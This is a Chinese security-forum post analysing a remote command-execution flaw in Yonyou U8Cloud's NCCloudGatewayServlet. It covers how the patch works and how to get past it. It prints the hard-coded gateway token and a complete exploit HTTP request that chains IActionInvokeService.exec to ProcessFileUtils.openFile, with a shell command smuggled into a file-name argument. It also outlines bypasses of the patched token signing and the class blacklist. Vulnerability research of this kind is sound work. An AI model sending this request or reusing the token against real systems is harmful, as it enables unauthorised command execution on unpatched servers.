问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
用友U8Cloud NCCloudGatewayServlet命令执行漏洞补丁分析及绕过
漏洞分析
## 漏洞分析 官网通告NCCloudGatewayServlet接口存在命令执行漏洞  全局搜索,可以找到对应的com.yonyou.nccloud.gateway.adaptor.servlet.ServletForGW类   - 从请求获取gatewaytoken进行检验(这个稍后再看) - 使用JsonParser解析请求的Json数据 - 调用this.callNCService(jsonObj)  在callNCService中先从json中提取信息,在if (jsonArgInfoArray != null) {xxx}中处理 serviceClassName包含`nc.itf.uap.IUAPQueryBS`,应该会进行一些检查  之后在反射进行调用,逻辑和InvokerServlet中的类似  补丁包中可以发现,对com.ufida.zior.console.IActionInvokeService和nc.bs.pub.util.ProcessFileUtils接口进行限制 IActionInvokeService可以找到分析文章:[https://mp.weixin.qq.com/s/8JBAgDL39iYm8W8Aln\\\_2Xg](https://mp.weixin.qq.com/s/8JBAgDL39iYm8W8Aln%5C_2Xg) 大概就是其exec可以调用非私有方法,而ProcessFileUtils的openFile方法可以拼接命令执行  硬编码权限绕过 ------- 回到之前留的一个小坑,gatewaytoken校验  获取nccloud.gateway.nctoken的值des加密然后比对  nccloud.gateway.nctoken又是硬编码  直接扣他的代码加密即可`TJ6RT-3FVCB-DPYP8-XF7QM-96FV3`  漏洞复现 ---- ```Bash POST /service/NCCloudGatewayServlet HTTP/1.1 Host: xxx Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=05D49C795741FFFB6837820E5DDF6BFB.server Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept-Language: zh-CN,zh;q=0.9 Content-Type: application/x-www-form-urlencoded gatewaytoken: TJ6RT-3FVCB-DPYP8-XF7QM-96FV3 { "serviceInfo": { "serviceClassName": "com.ufida.zior.console.IActionInvokeService", "serviceMethodName": "exec", "serviceMethodArgInfo": [ { "agg": false, "isArray": false, "isPrimitive": true, "argType": { "body": "java.lang.String" }, "argValue": { "body": "nc.bs.pub.util.ProcessFileUtils" } }, { "agg": false, "isArray": false, "isPrimitive": true, "argType": { "body": "java.lang.String" }, "argValue": { "body": "openFile" } }, { "agg": false, "isArray": false, "isPrimitive": false, "argType": { "body": "java.lang.String" }, "argValue": { "body": "test.txt\" | calc;\"" } } ] } } ```   补丁分析 ----  进行黑名单  token的检验逻辑也变了,获取ts,sign进行比对  就是结合时间戳又套了一层  补丁绕过 ---- 也就还是扣他的算法即可,三分钟有效足以够用   因为只做了黑名单限制,找一个黑名单外的类即可,还是挺多的(poc就先不放了)  
发表于 2025-10-28 09:00:01
阅读 ( 362 )
分类:
OA产品
0 推荐
收藏
0 条评论
请先
登录
后评论
Yu9
4 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!